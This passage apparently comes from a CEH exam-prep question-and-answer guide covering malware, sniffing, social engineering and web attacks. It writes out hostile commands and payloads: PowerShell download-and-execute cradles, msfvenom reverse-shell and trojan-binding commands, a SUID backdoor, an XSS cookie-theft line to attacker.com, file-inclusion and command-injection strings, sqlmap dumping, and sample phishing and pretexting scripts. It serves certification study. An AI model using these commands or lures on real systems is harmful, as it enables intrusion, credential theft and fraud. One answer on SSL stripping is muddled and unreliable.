Fileless malware operates entirely in memory without writing files to disk – evades file-based AV. Techniques: (1) PowerShell/WMI abuse – malicious code executed via built-in tools; (2) Process injection – inject shellcode into running processes; (3) Registry persistence – malicious PowerShell stored in registry, run on startup; (4) Living-off-the-land – abuse legitimate tools (certutil, mshta, regsvr32). Example: PowerShell Empire: malicious PowerShell command executed (via phishing macro) ▢ downloads and runs agent entirely in memory ▢ establishes C2 ▢ no files written to disk ▢ traditional AV sees nothing suspicious since only explorer.exe and powershell.exe are running.

Q111 QUESTION

What is malware analysis?

ANSWER

Malware analysis examines malicious code to understand behavior and develop defenses. Static analysis: examine without executing – file type (file command), strings extraction (strings command), PE header analysis (PEStudio), disassembly (IDA Pro, Ghidra), packer detection (PEiD). Dynamic analysis: execute in isolated environment – sandbox (Any.run, Cuckoo), API monitoring (API Monitor), network traffic (Wireshark), registry/file monitoring (Procmon). Example: Static analysis of 'invoice.exe' reveals: strings contain C2 URL 'http://185.x.x.x/gate.php', XOR key for obfuscation, mutex 'Global\njq878', hardcoded registry key – all become IoCs for detection.

Q112 QUESTION

What are malware indicators of compromise (IoC)?

ANSWER

IoCs are artifacts indicating malware presence. File IoCs: MD5/SHA256 hash, filename, file size, file path. Network IoCs: C2 IP addresses and domains, URL patterns, HTTP User-Agent strings, DNS queries, SSL certificate fingerprints (JA3). System IoCs: registry keys, mutex names, scheduled task names, service names, parent process-child process relationships. Behavioral IoCs: PowerShell execution with encoded commands, LSASS memory access, shadow copy deletion. Example: WannaCry IoCs – SHA256 hash, C2 domain (iuqerfsodp9ifjaposdfjhgosurijfaewrgwea.com), killswitch domain check, specific registry key – all published for organizations to add to detection rules.

Q113 QUESTION

What is a worm and give famous examples?

ANSWER

Worms self-replicate and spread without user action – exploit network vulnerabilities for propagation. Famous examples: Morris Worm (1988 – first internet worm, exploited Unix sendmail, fingerd, rsh), ILOVEYOU (2000 – VBScript worm spread via email, \$10B damage), Code Red (2001 – IIS buffer overflow), Slammer (2003 – SQL Server, spread to 75K hosts in 10 minutes), Conficker (2008 – MS08-067, still seen today), WannaCry (2017 – EternalBlue SMB exploit, 200K systems in 150 countries, \$4B damage), NotPetya (2017 – Ukraine target, \$10B damage, most destructive cyberattack ever).

Q114 QUESTION

What is msfvenom and payload generation?

ANSWER

Msfvenom generates standalone payloads for deployment without Metasploit. Syntax: `msfvenom -p [payload] LHOST=[attacker IP] LPORT=[port] -f [format] -o [output file]`. Common payloads: `windows/x64/meterpreter/reverse_tcp`, `linux/x86/meterpreter/reverse_tcp`, `php/meterpreter/reverse_tcp`, `python/meterpreter/reverse_tcp`. Formats: `exe`, `elf`, `apk`, `php`, `py`, `ps1`, `asp`, `aspx`. Encoding: `-e x86/shikata_ga_nai -i 5` (encode 5 times to evade AV). Example: `'msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=4444 -f exe -o payload.exe'` creates a Windows executable Meterpreter payload for delivery via phishing.

Q115 QUESTION

What are malware defense evasion techniques?

ANSWER

Malware evades defenses using: (1) Packing — compress/encrypt executable (UPX, custom packers) — changes hash, hides strings; (2) Encoding — base64, XOR encode payload; (3) Code obfuscation — dead code insertion, junk instructions, variable renaming; (4) Polymorphism — change code while keeping functionality (mutate each infection); (5) Metamorphism — completely rewrite code between infections; (6) Living off the land — use legitimate tools (PowerShell, WMI, certutil); (7) Process injection — inject into trusted process (`explorer.exe`, `svchost.exe`); (8) Timing attacks — delay execution to avoid sandbox analysis. Tool: Veil Framework generates AV-evading Meterpreter payloads using Python/PowerShell.

Q116 QUESTION

What is a dropper and a downloader?

ANSWER

Dropper: contains the malicious payload within itself and 'drops' (installs) it on the system. Does not need internet connectivity — payload is embedded. Downloader: small initial payload that downloads and executes additional malware from the internet. Advantages of downloader: small initial file (harder to detect), can update payload, flexible (different payloads for different victims). Dropper example: Emotet dropper contains TrickBot binary — when executed, extracts and runs TrickBot. Downloader example: `malicious Word macro executes PowerShell: 'powershell -c IEX(New-Object Net.WebClient).DownloadString("http://C2/payload.ps1")` — downloads and runs payload from internet.

Q117 QUESTION

What is malware persistence on Linux?

ANSWER

Linux persistence mechanisms: (1) Cron jobs — add entry to `/etc/crontab` or `crontab -e` (user-level); (2) Init scripts — `/etc/init.d/` or systemd service files; (3) `.bashrc/.bash_profile` — execute on user login; (4) SSH authorized_keys — add attacker's public key to `~/.ssh/authorized_keys`; (5) SUID binary — create SUID shell: `'cp /bin/bash /tmp/backdoor && chmod 4755 /tmp/backdoor'`; (6) LD_PRELOAD — preload malicious library intercepting function calls; (7) Kernel module (rootkit) — loaded in `/etc/modules` or via `modprobe`. Example: Adding to `/etc/rc.local: '/tmp/.cache/backdoor &'` — runs reverse shell on system boot with root privileges — hidden in an unexpected location.

Q118 QUESTION

What is a banking Trojan?

ANSWER

Banking Trojans steal financial credentials and enable unauthorized transactions. Techniques: (1) Web injection – modify banking website HTML in browser memory to add fake fields (Zeus); (2) Man-in-the-browser (MITB) – intercept transactions before encryption; (3) Form grabbing – capture form data before submission; (4) Credential harvesting – keylogging + screenshot on banking sites; (5) Real-time phishing – redirect to fake site on banking URL visit; (6) Mobile – intercept SMS OTP for 2FA bypass. Famous: Zeus (source code leaked – spawned many variants), SpyEye (Zeus competitor), Dridex (documents-based delivery), TrickBot (Zeus descendant). Example: Zeus web injection – victim visits Bank of America – Zeus injects fake 'security verification' field requesting SSN – credential captured before encryption.

Q119 QUESTION

What is anti-analysis technique detection?

ANSWER

Malware uses anti-analysis techniques to hinder reverse engineering. Detection avoidance: (1) VM detection – check VMware/VirtualBox artifacts (registry keys, process names, MAC OUI); (2) Sandbox detection – check for user activity (mouse movement, keystrokes – sandboxes often have none); (3) Timing checks – RDTSC instruction measures CPU cycles – debugger slows execution significantly; (4) Debugger detection – `IsDebuggerPresent()`, `CheckRemoteDebuggerPresent()`; (5) `Sleep()` calls – delay execution past sandbox timeout (5 minutes); (6) Process name checks – look for analysis tools (wireshark.exe, procmon.exe). Example: Malware calls `GetTickCount` – if difference from last call is too large (debugger paused execution) – exits immediately to avoid analysis.

Q120 QUESTION

What is a Trojan horse delivery method?

ANSWER

Trojan delivery mechanisms: email attachment (executable disguised as PDF), software bundling (pirated software includes malware), drive-by download (compromised website auto-downloads), social media malicious links, torrent files, watering hole attacks (compromise sites target visits), typosquatting packages in npm/pip. Example: 'Adobe_Flash_Update.exe' with Adobe icon – user runs thinking it's legitimate update – installs RAT silently. msfvenom binds Meterpreter payload to legitimate calculator.exe: `msfvenom -p windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -x calc.exe -f exe -o evil_calc.exe` – legitimate calculator works, Meterpreter connects in background.

Q121 QUESTION

What is a computer virus vs worm propagation?

ANSWER

Propagation comparison: Virus requires human action – attaches to executable, spreads when infected file shared and run. Worm requires no human action – self-propagates via network vulnerabilities. Virus spread rate: limited by how often users share infected files. Worm spread rate: exponential – SQL Slammer infected 75,000 servers in 10 minutes (2003). Famous comparison: ILOVEYOU (2000) – spread via email as virus requiring user to open attachment – infected 50 million computers in 10 days. WannaCry (2017) – worm via EternalBlue SMB exploit – no user action required – 200,000 systems in 150 countries in 4 days. CEH: understand propagation method determines appropriate countermeasure (email filtering for virus, patch management for worm).

7 Sniffing & Session Hijacking

16 Qs

Q122 QUESTION

What is network sniffing?

ANSWER

Sniffing captures and analyzes network traffic. Passive sniffing: on a hub network, all traffic is broadcast — sniff without sending packets. Active sniffing: on a switched network, use ARP poisoning/MAC flooding to redirect traffic. Tools: Wireshark (GUI, protocol analysis), tcpdump (CLI capture), Ettercap (active MITM sniffing), dsniff (credential extraction), NetworkMiner (passive analysis). Captured data: cleartext credentials (FTP, Telnet, HTTP, POP3), session cookies, network topology, email content. Example: On a hotel Wi-Fi network, Wireshark captures hotel guest login credentials sent over HTTP to an unencrypted portal.

Q123 QUESTION

What is ARP poisoning/spoofing?

ANSWER

ARP poisoning sends fake ARP replies to associate the attacker's MAC with a legitimate IP, redirecting traffic through the attacker (MITM). Process: Attacker sends unsolicited ARP reply: 'IP 192.168.1.1 (gateway) is at AA:BB:CC:DD:EE:FF (attacker MAC)' to victim. Simultaneously tells gateway victim's IP maps to attacker's MAC. All traffic flows through attacker. Tools: Ettercap (-T -M arp:remote [gateway] [victim]), Arpspoof, Bettercap. Example: Ettercap ARP poisoning on coffee shop network □ intercepts laptop traffic □ Wireshark captures banking session cookie □ session hijacking to access victim's bank account.

Q124 QUESTION

What is MAC flooding?

ANSWER

MAC flooding overwhelms a switch's CAM (Content Addressable Memory) table by sending thousands of fake MAC addresses. When CAM table is full, switch fails open and broadcasts all traffic like a hub — sniffing becomes possible. Tool: macof (part of dsniff). Defense: Port Security (limit MAC addresses per port), Dynamic ARP Inspection (DAI), 802.1X authentication. Example: 'macof -i eth0' sends 155,000 MAC/second from random sources — fills 1MB CAM table in seconds — switch broadcasts all traffic — attacker captures credentials from all users on the switched network.

Q125 QUESTION

What is a MITM (Man-in-the-Middle) attack?

ANSWER

MITM positions the attacker between two communicating parties to intercept, read, and modify communications. Techniques: ARP poisoning, DNS spoofing, evil twin Wi-Fi, HTTPS downgrade (SSLstrip), rogue DHCP server (providing attacker-controlled DNS/gateway). Tools: Bettercap (modern MITM framework), Ettercap, MITMf, Responder. Example: Bettercap on local network: ARP spoof gateway and target □ enable SSLstrip to downgrade HTTPS to HTTP □ capture cleartext banking credentials □ victim browser shows padlock (SSLstrip creates HTTP with valid HTTP, not HTTPS downgrade visible in some configurations).

Q126 QUESTION

What is DHCP starvation and rogue DHCP?

ANSWER

DHCP starvation exhausts IP address pool by sending thousands of DHCP requests with fake MAC addresses — legitimate clients cannot get IPs. Tool: DHCPStarv, Yersinia. Rogue DHCP: attacker sets up unauthorized DHCP server after starvation — assigns attacker-controlled gateway and DNS — all new connections route through attacker (MITM). Example: Attacker in a meeting room: starves legitimate DHCP with Yersinia □ stands up rogue DHCP server offering same range □ newly connecting laptops get attacker's gateway IP □ all unencrypted traffic (and HTTPS sites without HSTS) captured.

Q127 QUESTION

What is DNS spoofing/poisoning?

ANSWER

DNS spoofing inserts malicious DNS records to redirect traffic. Methods: (1) Cache poisoning — inject false records into DNS resolver cache (Kaminsky attack); (2) Local DNS spoofing — modify local hosts file; (3) DNS hijacking via MITM — intercept DNS queries, return false responses. Tools: Ettercap DNS spoof plugin, dnsspoof, Bettercap dns.spoof. Example: Ettercap with dns_spoof plugin — victim requests targetbank.com ▢ attacker's MITM intercepts DNS query ▢ returns attacker's IP (192.168.1.99) ▢ victim's browser connects to fake bank site ▢ phishing page captures credentials.

Q128 QUESTION

What is session hijacking?

ANSWER

Session hijacking steals a valid session token to impersonate an authenticated user. Web session hijacking: steal session cookie (XSS, sniffing, MITM) ▢ present cookie to server ▢ authenticated as victim. TCP session hijacking: predict TCP sequence numbers ▢ inject packets into established TCP connection. Tools: Burp Suite (cookie manipulation), Hamster/Ferret (cookie sniffer), CookieCatcher. Example: Victim logs into forum on HTTP network ▢ Wireshark captures HTTP header 'Cookie: PHPSESSID=abc123xyz' ▢ attacker adds cookie to browser ▢ opens forum.target.com ▢ authenticated as victim without knowing password.

Q129 QUESTION

What is Wireshark and its key filters?

ANSWER

Wireshark is the most-used protocol analyzer. Display filters: ip.addr == 192.168.1.1 (traffic to/from IP), tcp.port == 80 (HTTP traffic), http (all HTTP), http.request.method == POST (form submissions), ftp (FTP traffic), smtp (email), telnet (Telnet), dns (DNS queries), tcp.flags.syn == 1 (SYN packets). Statistics features: IO Graphs (traffic over time), Protocol Hierarchy (breakdown of protocols), Conversations (top talkers), Follow TCP Stream (reassemble conversation). Example: Filtering 'http && ip.addr == 192.168.1.50 && http.request.method == POST' finds all login form submissions from a specific IP — may contain cleartext credentials.

Q130 QUESTION

What is SSL stripping?

ANSWER

SSL stripping (SSLSTRIP) downgrades HTTPS connections to HTTP. Attack: Victim connects to attacker (MITM via ARP) ▢ victim requests HTTPS site ▢ attacker fetches HTTPS from server ▢ serves HTTP to victim ▢ victim sees HTTP (no padlock) ▢ credentials sent in cleartext. Tool: SSLstrip, Bettercap hstshijack. Defense: HSTS (HTTP Strict Transport Security) — browser remembers that site requires HTTPS, rejects HTTP connection — HSTS preloading makes this permanent. Example: Victim opens new site bank.com (not HSTS preloaded) ▢ attacker SSLstrip intercepts ▢ victim sees http://bank.com ▢ enters password in cleartext ▢ captured by attacker.

Q131 QUESTION

What is Responder and LLMNR poisoning?

ANSWER

Responder abuses LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) to capture NTLMv2 hashes. When a Windows machine can't resolve a hostname via DNS, it broadcasts LLMNR/NBT-NS queries — Responder answers all queries claiming to be the requested host — victim sends NTLMv2 hash for authentication. Example: User types '\\fileserver\share' (typo) ▢ DNS fails ▢ LLMNR broadcast ▢ Responder answers ▢ victim sends NTLMv2 hash ▢ Responder captures it ▢ crack offline with Hashcat or relay with ntlmrelayx. Defense: disable LLMNR and NBT-NS via GPO.

Q132 QUESTION

What is Ettercap?

ANSWER

Ettercap is a comprehensive MITM framework for LAN attacks. Features: ARP poisoning, DNS spoofing, plugin architecture, filter scripts to modify traffic on-the-fly. Command: 'ettercap -T -M arp:remote /192.168.1.1// /192.168.1.100//' (gateway, victim). Plugins: dns_spoof (respond to DNS queries), autoadd (automatically add new hosts), arp_cop (detect ARP attacks – useful for defense!). Filter example: redirect HTTP requests for bank.com to attacker's site. Limitations: works on switched networks (unlike passive sniffing on hubs). CEH context: Ettercap -G (graphical mode) shown in labs. Example: 'ettercap -T -q -M arp -i eth0 /192.168.1.254/ /192.168.1.0/24/' – ARP poison all hosts against gateway – capture all plaintext credentials.

Q133 QUESTION

What is NetworkMiner?

ANSWER

NetworkMiner is a passive network forensics analyzer that captures and analyzes network traffic. Features: automatically extracts files transferred over network (images, documents, executables), credentials from cleartext protocols (FTP, HTTP, POP3), OS fingerprinting from traffic, hosts list. Works on captured PCAP files or live capture. No active scanning – completely passive. CEH context: demonstrates why unencrypted protocols are dangerous. Example: Load PCAP of hotel network traffic ▢ NetworkMiner automatically extracts: 3 PDF files downloaded by users, usernames/passwords from HTTP login forms, OS fingerprints of all active hosts, images viewed by users – comprehensive network intelligence with no active probing.

Q134 QUESTION

What is Bettercap?

ANSWER

Bettercap is the modern replacement for Ettercap – more flexible and feature-rich. Features: ARP spoofing, DNS spoofing, HTTP/HTTPS MITM (hstshijack for HSTS bypass), Wi-Fi handshake capture, BLE (Bluetooth Low Energy) scanning, HID attack injection, REST API for programmatic control. Interactive console with modules. Example: 'bettercap -iface eth0 ▢ 'net.probe on' (discover hosts) ▢ 'arp.spoof.full duplex true' ▢ 'arp.spoof.targets 192.168.1.100' ▢ 'arp.spoof on' ▢ 'net.sniff on' ▢ 'http.proxy on' – comprehensive MITM with HTTP decryption and HSTS bypass attempt.

Q135 QUESTION

What is a promiscuous mode and why it matters?

ANSWER

Promiscuous mode allows a network interface to capture ALL packets on the network segment, not just those addressed to it. Normal mode: NIC ignores packets not destined for its MAC. Promiscuous mode: captures everything. Required for: Wireshark passive capture, Ettercap sniffing. Detected by: ping with broadcast address and wrong MAC – in promiscuous mode, host responds even though MAC doesn't match. Also detected by: ARP ping with incorrect destination MAC – promiscuous mode host processes and responds. Tool: 'nmap --script=sniffer-detect 192.168.1.0/24' – detects hosts in promiscuous mode. Defense: use switches (limits broadcast domain), 802.1Q VLAN segmentation, encrypted protocols (TLS).

Q136 QUESTION

What is IP spoofing?

ANSWER

IP spoofing sends packets with falsified source IP. Uses: DDoS amplification (send requests to reflectors with victim's spoofed IP), blind spoofing (send as trusted host without seeing responses), session hijacking (predict TCP sequence numbers). CEH tool: hping3 -a [spoof_ip] allows any source IP. Example: 'hping3 -S -a 8.8.8.8 -p 80 192.168.1.100' – SYN packet appears from Google DNS. Defense: BCP38 ingress filtering – routers drop packets with impossible source IPs. Anti-spoofing: uRPF (Unicast Reverse Path Forwarding) – router checks if source IP is reachable via the interface packet arrived on.

Q137 QUESTION

What is a man-in-the-browser attack?

ANSWER

Man-in-the-Browser (MitB) is a Trojan that injects itself into the browser to manipulate web transactions in real-time. Technique: malicious browser extension or code hooks browser API calls — intercepts all web form submissions and HTTP traffic before encryption. Banking attack: user visits bank.com, enters transfer of \$100 to mom ▢ MitB changes destination to attacker account and amount to \$10,000 ▢ bank sees legitimate authenticated request from user's browser ▢ transfer approved. User sees: \$100 transfer confirmation screen (displayed from injected content). Tools/examples: Zeus, SpyEye both implemented MitB. Defense: out-of-band transaction verification (SMS OTP includes transaction details — user verifies amount and recipient).

8 Social Engineering

16 Qs

Q138 QUESTION

What is social engineering in CEH context?

ANSWER

Social engineering manipulates humans into performing actions or divulging information – exploits trust and human psychology rather than technology. CEH categories: Human-based (impersonation, pretexting, tailgating, dumpster diving), Computer-based (phishing, smishing, vishing, baiting with malware), Mobile-based (malicious apps, fake updates). Psychological principles exploited: authority (IT department calling), urgency (account will be suspended), social proof (everyone has reset their password), liking (familiar face), reciprocity (help them first), scarcity (limited time offer).

Q139 QUESTION

What is spear phishing and how is it crafted?

ANSWER

Spear phishing targets specific individuals with personalized messages to increase success. Reconnaissance: LinkedIn (role, colleagues, recent activities), Twitter (personal interests), company website (recent news, projects). Crafting: reference real events, colleague names, ongoing projects, use company email templates, spoof sender address. Example: OSINT reveals CFO Sarah Chen recently attended a Salesforce conference and is working on Q4 budget. Attacker sends from 'salesforce-billing@salesforcebilling.com' with subject 'Q4 Salesforce Invoice – Action Required' with malicious Excel attachment – highly targeted and convincing.

Q140 QUESTION

What are common social engineering attacks?

ANSWER

Common SE attacks: Phishing (mass email), Spear phishing (targeted email), Whaling (targeting executives/C-suite), Vishing (voice phone call – IRS scam, tech support), Smishing (SMS – 'Your package requires action'), Baiting (malicious USB drives labeled 'Salary 2024'), Quid pro quo ('I'll fix your computer if you give me your login'), Tailgating (following through badge access), Dumpster diving (recovering discarded sensitive documents), Shoulder surfing (observing PIN entry), Pretexting (fabricated scenario – 'I'm the auditor and need your credentials').

Q141 QUESTION

What is a phishing campaign and how to set one up (CEH context)?

ANSWER

Phishing campaign setup (for authorized pen tests): (1) Domain selection – register lookalike domain (targetco-security.com); (2) Email infrastructure – configure SPF, DKIM, DMARC to pass spam filters; (3) Phishing site – clone legitimate login page (SET Social Engineering Toolkit); (4) Email crafting – personalized lure, urgent CTA; (5) GoPhish – open-source phishing framework – tracks opens, clicks, credential submissions. CEH tools: SET (Social-Engineer Toolkit), GoPhish, King Phisher. Example: GoPhish campaign targeting 500 employees – 45% opened, 22% clicked link, 8% submitted credentials – demonstrates need for phishing awareness training.

Q142 QUESTION

What is vishing?

ANSWER

Vishing (voice phishing) uses phone calls to manipulate victims. Techniques: caller ID spoofing (appear as bank, IT support, IRS), urgency creation ('your account has been compromised'), authority exploitation ('This is your bank's fraud department'), information extraction (last 4 digits of SSN, one-time passwords). Tools: SpoofCard, Asterisk VOIP (custom caller ID). CEH context: penetration testers call helpdesk claiming to be the CEO and request password reset without proper verification — tests IR protocols. Example: Attacker calls helpdesk as 'CTO Michael Robinson in a meeting' — 'I'm locked out of VPN urgently, please reset my password and read it back to me' — tests helpdesk security procedures.

Q143 QUESTION

What is the Social Engineering Toolkit (SET)?

ANSWER

SET (Social-Engineer Toolkit) is Python-based for social engineering attacks. Key attack vectors: Spear-Phishing Attack Vector (craft/send phishing emails), Website Attack Vectors (clone websites — Credential Harvester, Tabnabbing), Infectious Media Generator (autorun payloads for USB), Create a Payload and Listener (Metasploit integration), Mass Mailer Attack (send emails to many targets), Arduino-Based Attack Vector. Example: SET Credential Harvester — clone LinkedIn login page □ victim visits □ enters username/password □ SET captures credentials □ redirects to real LinkedIn — victim unaware of credential theft.

Q144 QUESTION

What is baiting?

ANSWER

Baiting offers enticing items to trigger malicious actions. Physical baiting: USB drives labeled 'Salary 2024.xlsx' dropped in parking lots □ curious employee plugs in □ auto-run executes malware. Digital baiting: fake software downloads offering free games/movies containing malware, fake 'your computer is infected' pop-ups installing fake AV. Example: Rubber Ducky USB drive (looks like regular USB) programmed with HID (Human Interface Device) attack — when plugged in, acts as keyboard — types PowerShell commands at 1000 keystrokes/second — downloads and executes reverse shell in 10 seconds — logs show only 'USB keyboard connected'.

Q145 QUESTION

What is pretexting?

ANSWER

Pretexting creates a fabricated scenario (pretext) to establish trust and manipulate the target. Effective pretexts: IT support ('We're doing routine security checks'), auditor ('I'm conducting the annual compliance audit'), new employee ('I just started and need access'), delivery person ('I have a package for the server room'). Example: Attacker researches via LinkedIn that a company uses SAP. Calls IT: 'Hi, this is Mark from SAP support — we detected an authentication anomaly in your SAP instance. I need you to create a temporary service account for our remote diagnostics team.' — Creates unauthorized privileged access.

Q146 QUESTION

What are insider threats in social engineering context?

ANSWER

Insider threats are malicious or negligent employees, contractors, or partners. Types: Malicious insider (intentional sabotage, data theft), Negligent insider (accidental policy violation — emailing sensitive data), Compromised insider (credentials stolen, attacker acts as employee), Third-party insider (contractor with excessive access). Detection: UEBA (behavioral analytics — abnormal data access), DLP (data loss prevention), PAM (privileged access monitoring). Example: Disgruntled IT admin with admin credentials downloads 100,000 customer records to personal USB drive before resigning — DLP should alert on mass data copy to removable media.

Q147 QUESTION

What is tailgating/piggybacking?

ANSWER

Tailgating follows authorized person through controlled access point without authentication. Physical techniques: carrying large boxes (person holds door out of courtesy), wearing company-branded clothing, carrying clipboards (appearance of authority), following closely behind as authorized person badges in. Defense: mantraps (two-door entry — only one opens at a time), security guards, turnstiles, anti-piggybacking sensors, employee training ('challenge strangers'). Example: Pen tester in delivery uniform carrying boxes arrives at secure facility — employee holds door — tester walks to server room — photographs equipment — no one questioned the 'delivery person'.

Q148 QUESTION

What is the psychology of social engineering?

ANSWER

Social engineering exploits cognitive biases and psychological principles. Cialdini's influence principles: (1) Reciprocity — give something first to create obligation ('Let me help you with that first...'); (2) Commitment/Consistency — get small agreement first, build to larger requests; (3) Social proof — 'Everyone else has done this'; (4) Authority — 'I'm from the security team / management'; (5) Liking — build rapport before the request; (6) Scarcity — 'This is urgent / you'll lose access if...'. Combination: 'Hi, this is IT support [authority]. We've locked your account for security [scarcity/urgency]. I see you're working on the Q4 report [social proof/knowledge]. Let me reset it now [liking/reciprocity].'

Q149 QUESTION

What is USB baiting with Rubber Ducky?

ANSWER

USB Rubber Ducky (Hak5) is a keystroke injection tool that appears as a USB keyboard. When plugged in, executes pre-programmed keystrokes at up to 1000/second — downloads and executes payload faster than user can react. Attack payload example: `DELAY 1000, GUI r (Win+R opens Run), STRING powershell -c IEX(New-Object Net.WebClient).DownloadString('http://c2/payload'), ENTER`. Detection: USB device shows as keyboard (HID) — USB monitoring solutions detect unexpected keyboard registration. Defense: disable unauthorized USB devices via group policy, USB port blocking, user awareness training to not plug in unknown drives.

Q150 QUESTION

What is OSINT for social engineering?

ANSWER

OSINT enables targeted, convincing social engineering by providing personal context. Gathered from: LinkedIn (role, projects, colleagues, skills, recent activity), Twitter (personal interests, complaints about work, family mentions), Facebook (friends, family, vacation plans), Instagram (location patterns, personal life), company website (org structure, news), email signature footprints (phone numbers, titles). Example: LinkedIn shows CFO attended AWS re:Invent last week — spear phish: 'Dear [Name], regarding the AWS contract you discussed at re:Invent — I'm following up on the billing concern you raised. Please review the attached invoice requiring urgent approval.' — highly targeted, very convincing.

Q151 QUESTION

What is reverse social engineering?

ANSWER

Reverse social engineering manipulates the victim into contacting the attacker first — more convincing than attacker initiating contact. Steps: (1) Attacker creates a problem (disable network, infect with malware); (2) Advertises as tech support ('Call extension 5555 for network problems'); (3) Victim calls for help — trusts the 'support' person; (4) Attacker 'fixes' problem while extracting credentials or installing backdoor. Example: Attacker emails all employees: 'IT is performing maintenance. If you experience issues, call the IT Helpdesk at ext 5555 (temporary number).' — then causes minor issue — victims call attacker's number — 'To fix your issue, I need to log in with your credentials.'

Q152 QUESTION

What is credential harvesting via web?

ANSWER

Credential harvesting captures authentication credentials through web attacks. Methods: SET Credential Harvester (clone login page), BeEF framework (hooks browsers via XSS), phishing forms (replica HTML submitting to attacker), MITM with SSLstrip (cleartext capture), typosquatting domains. SET credential harvester: clones facebook.com □ user enters credentials □ SET logs them, redirects to real site. GoPhish tracks: email opened, link clicked, credentials submitted — full campaign metrics. Detection: check URL carefully, verify HTTPS padlock and certificate domain. CEH exam: SET is the primary social engineering tool — know its main attack vectors.

Q153 QUESTION

What is a watering hole attack?

ANSWER

Watering hole attack compromises websites frequented by the target group. Steps: (1) Profile target — identify what websites they visit (industry news, professional forums, local restaurant sites); (2) Compromise one of those sites (exploit web vulnerability, XSS, malvertising); (3) Inject exploit code (browser exploit, drive-by download); (4) Wait for target to visit □ compromise. Advantages: targets come to attacker, hard to trace to original attacker, can target air-gapped organizations' employees on personal browsing. Example: APT compromised a popular industrial control system vendor's website — ICS engineers visiting for documentation updates were infected — attackers reached organizations with air-gapped control systems through their employees' personal browsing habits.

9 Web Application Hacking

17 Qs

Q154 QUESTION

What is the OWASP Top 10 for CEH?

ANSWER

OWASP Top 10 2021: A01 Broken Access Control (IDOR, path traversal – #1 most common), A02 Cryptographic Failures (cleartext storage/transmission), A03 Injection (SQLi, NoSQLi, command injection, XSS), A04 Insecure Design (missing security controls in design), A05 Security Misconfiguration (default credentials, verbose errors), A06 Vulnerable and Outdated Components (unpatched libraries), A07 Identification and Authentication Failures (weak passwords, poor session management), A08 Software and Data Integrity Failures (unsigned code, insecure deserialization), A09 Security Logging and Monitoring Failures (no incident detection), A10 Server-Side Request Forgery (SSRF). CEH focuses heavily on A03 (Injection) and A07 (Authentication).

Q155 QUESTION

What is SQL injection and its types?

ANSWER

SQL injection inserts malicious SQL code into queries to manipulate databases. Types: (1) Classic/In-band – results returned directly in response; (2) Blind SQLi – no direct output: Boolean-based (true/false conditions to extract data bit by bit), Time-based (SLEEP() to infer data); (3) Out-of-band – data sent via DNS/HTTP request to attacker server. Example: Login bypass: username = "admin'--" in SQL: SELECT * FROM users WHERE username='admin'--' AND password='anything' – comment (--) cancels password check. Tools: sqlmap (automated SQLi detection and exploitation).

Q156 QUESTION

What is sqlmap and how is it used?

ANSWER

sqlmap is an automated SQL injection and database takeover tool. Commands: 'sqlmap -u "http://target.com/page.php?id=1" --dbs' (enumerate databases) □ '--db targetdb --tables' (enumerate tables) □ '-T users --columns' (enumerate columns) □ '--dump' (dump data). Advanced: '--os-shell' (OS command execution if DBA), '--sql-shell' (interactive SQL shell), '--file-read /etc/passwd' (read system files). Example: 'sqlmap -u "http://shop.target.com/product.php?id=1" --level=5 --risk=3 --dump-all --batch' – fully automated extraction of all database content.

Q157 QUESTION

What is XSS (Cross-Site Scripting)?

ANSWER

XSS injects malicious scripts into web pages viewed by other users. Types: (1) Reflected – malicious script in request, reflected in response (URL-based – user clicks malicious link); (2) Stored – malicious script stored in database and served to all users; (3) DOM-based – JavaScript modifies DOM without server involvement. Payloads: alert(1) (basic proof), document.location='http://attacker.com/steal?c='+document.cookie (cookie theft). Example: Stored XSS in comment field – every user who views the page gets their session cookie sent to the attacker – account takeover at scale.

Q158 QUESTION

What is CSRF (Cross-Site Request Forgery)?

ANSWER

CSRF tricks authenticated users into making unintended requests. Attack: victim is logged into bank.com □ attacker's site has hidden image or form: `img src pointing to https://bank.com/transfer?amount=10000&to=attacker` □ victim's browser sends request with valid session cookie □ bank processes transfer. Defense: CSRF tokens (unique per-session token in each form, verified server-side), SameSite cookie attribute (Strict or Lax — browser doesn't send cookie with cross-site requests), re-authentication for sensitive actions. Example: Malicious forum post contains hidden CSRF form targeting social media's 'change email' endpoint — everyone who views the post has their email changed.

Q159 QUESTION

What is local file inclusion (LFI) and remote file inclusion (RFI)?

ANSWER

LFI: includes local server files via vulnerable parameter. Example: `http://target.com/page.php?file=../../../../etc/passwd` — traverses directories to read `/etc/passwd`. LFI to RCE: log poisoning (inject PHP code in Apache log via User-Agent: □ include log file □ execute commands). RFI: includes remote files from attacker's server. Example: `http://target.com/page.php?file=http://attacker.com/shell.txt` — server fetches and executes attacker's PHP shell. Requires `allow_url_include=On` in PHP config (rare in modern configs). Defense: whitelist allowed files, disable `allow_url_include`.

Q160 QUESTION

What is Burp Suite?

ANSWER

Burp Suite is the professional web application security testing platform. Key tools: Proxy (intercept/modify HTTP/S requests and responses), Spider (crawl web application), Scanner (automated vulnerability scanning — Pro only), Intruder (automated customized attacks — brute force, fuzzing, parameter tampering), Repeater (manually modify and resend requests), Decoder (encode/decode data — URL, Base64, HTML), Comparer (compare responses), Sequencer (analyze randomness of tokens). Example: Burp Proxy intercepts login request □ Intruder configured with username/password lists □ cluster bomb attack tries all combinations □ identifies valid credentials from different response length.

Q161 QUESTION

What is command injection?

ANSWER

Command injection executes OS commands via vulnerable application input. Example: Application runs `'ping [user_input]'` — attacker enters `'192.168.1.1; ls -la'` □ server runs `'ping 192.168.1.1; ls -la'` □ lists server files. Linux: `;` `&&` `||` operators. Windows: `&` `&&` `|` `||` operators. Detection: try `'whoami'`, `'|whoami'`, `'id'`, `'$(id)'`. Tools: commix (automated command injection), Burp Suite. Example: `'curl http://target.com/dns-lookup?ip=8.8.8.8%3Bcat+ /etc/passwd'` — URL-encoded semicolon (`;`) + `cat /etc/passwd` — server returns Google DNS lookup AND contents of `/etc/passwd` in response.

Q162 QUESTION

What is IDOR (Insecure Direct Object Reference)?

ANSWER

IDOR allows access to unauthorized resources by manipulating direct object references. Example: After login, bank statement URL is `https://bank.com/account/statement?id=12345` — change to `id=12346` □ accesses another user's statement. Types: URL parameter manipulation, cookie manipulation (`userid=1` □ `userid=2`), form field manipulation (hidden input with account ID), API endpoint manipulation (`/api/users/123` □ `/api/users/124`). Testing: change any numeric/string identifier in requests. Example: `/api/orders/1001` returns my order — `/api/orders/1002` returns another customer's order with their address and payment info — complete horizontal privilege escalation.

